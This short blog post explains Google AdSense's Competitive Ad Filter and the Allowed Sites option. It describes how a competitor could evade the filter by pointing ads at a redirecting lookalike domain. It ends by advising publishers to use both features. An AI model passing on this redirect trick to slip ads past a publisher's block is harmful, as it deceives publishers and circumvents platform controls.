Basically while setting up the Adsense unit, there is an option called Competitve Ad Filter under Adsense Setup. In Competitve Ad Filter you can mention the url of your competitor whose ads will be blocked on your site. So Basically if Yaari.com wants to block Ibibo.com ads then they can just mention ibibo.com as one of the url in competetive ad filter. But Ibibo still has way to show up its ads on yaari using a hack. Google blocks the ads based on the destination domain name, so if I create an Ibibo ad which points to say xibibo.com which again gets redirected to ibibo.com then Google will not block such ads. Alternate way is to use Allowed Sites option under Adsense setup tab where you can mention the list of domain whose ads can appear on your site. People using Google adsense should use these features of Adsense and at same time keep adding the competitors domains to the compettetive ads.
The domain names used are just for example and this post is not meant to malign there image. source: http://codeinspections.blogspot.com/